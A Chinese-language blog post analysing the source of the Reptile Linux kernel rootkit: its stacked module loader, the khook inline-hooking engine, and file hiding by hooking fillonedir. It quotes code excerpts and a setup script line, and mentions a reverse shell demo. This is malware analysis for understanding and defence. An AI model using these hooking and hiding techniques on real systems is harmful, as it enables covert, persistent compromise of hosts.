rootkit工具之Reptile分析

admin 2023年2月7日12:48:25评论122 views字数 7959阅读26分31秒阅读模式

LKM Linux rootkit之Reptile分析

前言

这个马功能挺齐全,不过年代久远。作为入门,够用了。下面结合源码,分析一下这个工具。

功能演示

隐藏文件和目录

rootkit工具之Reptile分析


反连shell,这里是控制端。

rootkit工具之Reptile分析


目录架构

目录结构大致如下:

 khook:项目地址[https://github.com/milabs/khook],Linux内核挂钩引擎

 parasite_loader:项目地址[https://github.com/milabs/kmatryoshka],堆叠式 LKM 加载器

 sbin:功能命令目录,包括:cmd、client、listener、packet、reverse

 rep_mod.c:核心逻辑部分

 scripts:bash脚本

 setup.sh:安装脚本

rootkit工具之Reptile分析


parasite_loader

堆叠式 LKM 加载器,简单点说就是把一个模块加载到内核。

代码是运行在用户模式下,是不能直接修改内核的文件。所以需要先修改user_addr_max()的范围到内核中需要的地址范围。

user_addr_max() = 加载模块地址 + 模块大小

user_addr_max()=(unsigned long)parasite_blob + sizeof(parasite_blob)

内核中有一个全局的符号表kallsyms,使用sys_init_module符号来加载模块,需要到符号表中查找一下地址

//查询符号表的函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
                                   unsigned long addr)
{
           int i = 0;
           while (!module && (((const char *)data[0]))[i] == name[i]) {
                      if (!name[i++])
                                 return !!(data[1] = addr);
           }
           return 0;
}

// 根据模块名字返回模块地址
static inline unsigned long ksym_lookup_name(const char *name)
{
           unsigned long data[2] = {(unsigned long)name, 0};
           kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
           return data[1];
}

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

内核函数sys_init_module用来处理模块加载的整个过程

参数 umod:指向用户空间内核模块文件映像数据的内存地址。

参数 len:该文件的数据大小。

参数 uarg:传给模块的参数在用户空间下的内存地址。

// long sys_init_module(void __user *umod, unsigned long len, const char __user *uargs);
static char parasite_blob[] = {
#include "parasite_blob.inc"
};

sizeof(parasite_blob);
   
const char *nullarg = parasite_blob;
while (*nullarg)
           nullarg++;

sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg)

khook

Linux内核挂钩引擎

在开始前,先看两个结构体。

STUB

一个STUB会有一个钩子函数。

typedef struct {
#pragma pack(push, 1)
    union {
        unsigned char _0x00_[ 0x10 ];
        atomic_t use_count;
    };
    union {
        unsigned char _0x10_[ 0x20 ];
        unsigned char orig[0];
    };
    union {
        unsigned char _0x30_[ 0x40 ];
        unsigned char hook[0];
    };
#pragma pack(pop)
    unsigned nbytes;
} __attribute__((aligned(32))) khook_stub_t;

获取stub结构体和大小

static khook_stub_t *khook_stub_tbl;
// 获取stub结构体
#define KHOOK_STUB(h)                                                                            
           (khook_stub_tbl + ((h) - KHOOK_tbl))
// 获取stub结构体大小
#define KHOOK_STUB_TBL_SIZE                                                                 
           (sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1))


Khook

表示一个钩子,下图是它的工作原理图

rootkit工具之Reptile分析


khookengine.h

typedef struct {
           void                                 *fn;                      // 钩子地址
           struct {
                      const char           *name;                      // 被勾符号的名字
                      char                      *addr;                      // 被勾符号的地址
                      char                      *addr_map;           // 被勾符号地址被映射的虚拟地址
           } target;
           void                                 *orig;                      // 源函数
           unsigned long                      flags;                      // 标志参数,没有实质作用。
} khook_t;

// KHOOK函数调用模板
// 假设原函数名字为fun
// 则自定义的fun的钩子函数名字必须为khook_fun
#define KHOOK_(t, f)                                                                            
           static inline typeof(t) khook_##t; /* forward decl */                     
           khook_t                                                                                       
           __attribute__((unused))                                                                 
           __attribute__((aligned(1)))                                                      
           // 表示这个结构需要被分配到.data.khook节中
    __attribute__((section(".data.khook")))                                           
           KHOOK_##t = {                                                                            
                      .fn = khook_##t,                                                      
                      .target.name = #t,                                                      
                      .flags = f,                                                                 
           }
/*
有两种类型的函数
1、头文件中包含了函数原型,则在代码中包含头文件就行了
2、写在.c文件,但是.h文件中没有定义,则需要通过KHOOK_EXT来定义钩子函数
*/
#define KHOOK(t)                                                                            
           KHOOK_(t, 0)
#define KHOOK_EXT(r, t, ...)                                                                 
           extern r t(__VA_ARGS__);                                                      
           KHOOK_(t, 0)

#define KHOOK_NOREF(t)                                                                            
           KHOOK_(t, KHOOK_F_NOREF)
#define KHOOK_NOREF_EXT(r, t, ...)                                                      
           extern r t(__VA_ARGS__);                                                      
           KHOOK_(t, KHOOK_F_NOREF)
/*
传入原函数的名字和参数,KHOOK_ORIGIN就可以当做原函数来执行
*/
#define KHOOK_ORIGIN(t, ...)                                                                 
           ((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__)

khookengine.lds

.表示但钱定位器符号的位置,所以KHOOK_tbl指向.data.khook的开始,KHOOK_tbl_end指向.data.khook的结尾。他们都在.data

SECTIONS
{
    .data : {
        KHOOK_tbl = . ;
        *(.data.khook)
        KHOOK_tbl_end = . ;
    }
}

khookengine.c

开始是khook_init这里,从这里开始看。

先初始化两个内核符号

void *(*malloc)(long size) = NULL;
int   (*set_memory_x)(unsigned long, int) = NULL;

kallsyms中找到符号module_alloc在内核中的地址

malloc = khook_lookup_name("module_alloc");

分配地址空间并初始化

khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);

把这块内存设置为可执行

int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);

找到每个钩子的地址

khook_resolve();

把内存地址和虚拟地址做映射

static void khook_map(void)
{
           khook_t *p;
           KHOOK_FOREACH_HOOK(p) {
                      if (!p->target.addr) continue;
                      p->target.addr_map = khook_map_writable(p->target.addr, 32);
                      khook_debug("target %s@%p -> %pn", p->target.name, p->target.addr, p->target.addr_map);
           }
}

stop_machine作用是暂停其他cpu的情况下执行我们需要的操作,继续跟进khook_sm_init_hooks。这里边遍历每一个钩子,传递给khook_arch_sm_init_one

static int khook_sm_init_hooks(void *arg)
{
           khook_t *p;
           KHOOK_FOREACH_HOOK(p) {
                      if (!p->target.addr_map) continue;
                      khook_arch_sm_init_one(p);
           }
           return 0;
}

khook_arch_sm_init_one是hook最核心的部分,对应了开始的原理图。

根据钩子获取对应的stub,把hook和stub关联起来。

khook_stub_t *stub = KHOOK_STUB(hook);


检查钩子地址的第一个字符,确保不等于0xE90xCC

if (hook->target.addr[0] == (char)0xE9 ||
           hook->target.addr[0] == (char)0xCC) return;

stub.inc文件的内容复制到stub的地址空间,

static const char khook_stub_template[] = {
# include KHOOK_STUB_FILE_NAME
};
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));

通过stub跳转到钩子函数,对应第3步。

stub_fixup(stub->hook, hook->fn);

先找到钩子的原符号的地址,要求字符数大于5个

while (stub->nbytes < 5)
           stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);

保存地址到到stub中

memcpy(stub->orig, hook->target.addr, stub->nbytes);

用跳转指令覆盖原函数内容,对应原理图中的第5步.

x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);

之后就是按部就班运行程序了。

rep_mod.c

这个是写入内核的模块,也是rootkit的核心逻辑部分。

这个文件中主要是一些功能函数,一个个分析意义不大,下边找一个功能,进行分析。主要分析一下隐藏文件的过程。大致原理:hook内核处理文件遍历的接口,把需要隐藏的文件去掉,其他正常返回。

还是采用之前的笨办法,按照使用流程一步一步跟:

setup.sh安装的时候,会让输入配置参数。第一个配置项就是要隐藏的文件或者目录名:

这里把用户的输入传递给了MODULE变量

load_config "Hide name (will be used to hide dirs/files)" "reptile"
MODULE=$RETVAL

接着,把这个变量传递给了c代码的HIDE变量

rootkit工具之Reptile分析


接着,hook相关内核接口fillonedir,匹配要隐藏的文件,如果匹配到,直接返回0,ls命令也就不会显示了要隐藏的文件了。

rootkit工具之Reptile分析


fillonedir接口一个一个填充目录项。使用ls等文件目录遍历的时候,会调用。返回零就代表没有这个文件。

static  int  fillonedir ( void  * __buf ,  const  char  * name ,  int  namlen ,  loff_t  offset ,           u64 ino ,  unsigned  int  d_type ) {  struct  readdir_callback  *buf  = ( struct  readdir_callback  *)  __buf ;  struct  old_linux_dirent __user  * dirent ;  unsigned  long  d_ino ;  if  ( buf -> result )     return  -EINVAL ;  d_ino  = ino ;  if  ( sizeof ( d_ino )  < sizeof ( ino )  && d_ino  !=  ino )  {    buf -> result  = -EOVERFLOW ;    return  -EOVERFLOW ;  }  buf -> result ++;  dirent  = buf -> dirent ;  if  (! access_ok ( VERIFY_WRITE ,  dirent ,       ( unsigned  long )( dirent -> d_name  + namlen  + 1)  -        ( unsigned  long ) dirent ))     goto  efault ;  if  (   __put_user ( d_ino ,  &dirent -> d_ino )  ||    __put_user ( offset ,  &dirent -> d_offset )  ||    __put_user ( namlen ,  &dirent -> d_namlen )  ||    __copy_to_user ( dirent -> d_name ,  name ,  namlen )  ||    __put_user ( 0,  dirent -> d_name  + namlen ))     goto  efault ;  return  0;efault :   buf -> result  = -EFAULT ;  return  -EFAULT ;}

总结

篇幅原因,工具的第三块没有深入分析。后续有空,再进行研究。其次,这款工具比较老了,经过测试,也发现了使用过程中的很多问题,不够稳定。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日12:48:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   rootkit工具之Reptile分析https://cn-sec.com/archives/1539127.html

发表评论

匿名网友 填写信息